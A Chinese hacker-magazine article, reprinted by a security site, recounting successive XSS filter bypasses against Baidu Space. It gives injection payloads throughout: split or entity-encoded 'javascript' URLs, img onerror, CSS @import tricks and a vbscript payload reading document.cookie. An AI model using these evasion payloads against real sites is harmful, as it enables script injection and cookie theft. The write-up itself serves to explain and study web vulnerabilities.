从百度空间到中国博客漏洞
发表于《黑客防线》作者:梦之光芒(Monyer)
这几天总有朋友问我在十期黑防上介绍的ajax hacking的影响程度究竟有多大,并且如何针对现阶段的网络状况进行web2.0漏洞的测试及利用,这次借助黑防给大家看看仅对于其中的xss跨站漏洞,目前有哪些代码注入的方式,其影响力又有多大!
在真正的漏洞探索旅程开始之前,我先给大家介绍一下我以及好友daishuo在百度空间发现过的跨站漏洞利用方式以及百度对漏洞围杀的过程,相信这样你会对xss有一个具体的了解。
百度空间漏洞攻防战
最初百度空间的beta版事实上没有过滤任何代码,所以可以直接在空间的自定义css里插入js或vbs代码,譬如:
body{background:url(“javas cript:alert('xss')”)}”
也是这时候百度蠕虫第一次出现(具体内容请看十期黑防)。后来百度对用户输入的”javas cript”和”vbs cript”以及” expression”进行了过滤,使得上述方法无法实现但是依然可以通过把”javas cript”分两行写的方式进行绕过:
body {background:url(j
avas cript:alert('xss'))}
在百度又一次过滤后我们的新方法是在文章编辑里插入:
<div style="width:0;height:0;background:url(javas cript:document.body.onload=function(){alert('xss');});"></div>
然后百度开始过滤div中的”javas cript”字符了。我接下来采取的突破方法是在插入外部图片连接地址中写入:
javas cript:alert(/xss/)
当然很快就被修复了,然后我试着在百度音乐地址中插入事先构造好xss脚本的swf文件,同样可以达到了xss的目的。之后采取的是在文章编辑中插入图片代码:
<img src="javas cript:alert(/xss/)" />
<img src="" onerror=alert("xss")>
这时百度开始过滤img中的javas cript,所以接下来我的突破方法是在css中插入import:
@import "你要加载的css文件.css";
然后在外部调用的css里插入xss代码。也是这时我在百度的博客开始利用ajax增加了一些版块譬如日历、天气预报等百度所没有的版块。这次百度采取的过滤方式是把”import”字符转化为空格,但因为百度并不是单纯地过滤的,而是判断字符前后是否有非英文或数字存在——这样做的原因是怕”! important”和其他一些合法字符被过滤掉。于是有了新的破解方法:
@importimport "你要加载的css文件.css";
保存后百度会自动过滤掉后面的”import”。百度对于这种新利用方法的回应是对这样的输入不再进行过滤,于是利用方法再一次得到改进:
@import
import "你要加载的css文件.css";
即把两个import分两行来写,百度仍然会过滤掉后面一个,使语句完整。但后来再这样输入时,百度会把import全部过滤掉!这也宣布明码的xss代码注入告于段落。
接下来采取的方法就是加密xss代码了,由于过滤一般只是针对于譬如”javas cript”或”vbs cript”这样的关键字,所以方法之一是我们在字符串中插入空格或者回车字符进行绕过,因此利用形式如下:
<IMG SRC="jav	as cript:alert('XSS');" >
<IMG SRC="jav
as cript:alert('XSS');" >
<IMG SRC="jav
as cript:alert('XSS');" >
其中”	”是tab空格的16进制写法、”
”和”
”是回车的16进制两种写法。当然你亦可以把他们用10进制表示(	和
\
)。方法二既是用转换工具对xss字符串进行进制转换(图1)(工具请到光盘中查找)。
图表 1
因此代码有了以下表现形式:
(1)<img src=” javascri pt:aler& #116;('XSS')& #59;”/>(&#十进制;形式)
(2)<img src=” javasc& #x0072;ipt:al ert('X& #x0053;S');”/>(&#x十六进制;形式)
(3)<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076 \0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027 \0058\0053\0053\0027\0029\0029">test</DIV>(\十六进制形式)
或者用vbs及vbs的编码:
<img src="vbs cript:msgbox(document.cookie)" />(图2)
转截请注明:文章来自 pc捍卫者 http://www.pchwz.com
本站发布此文为传递更多信息之目的,不表明pc捍卫者赞同其观点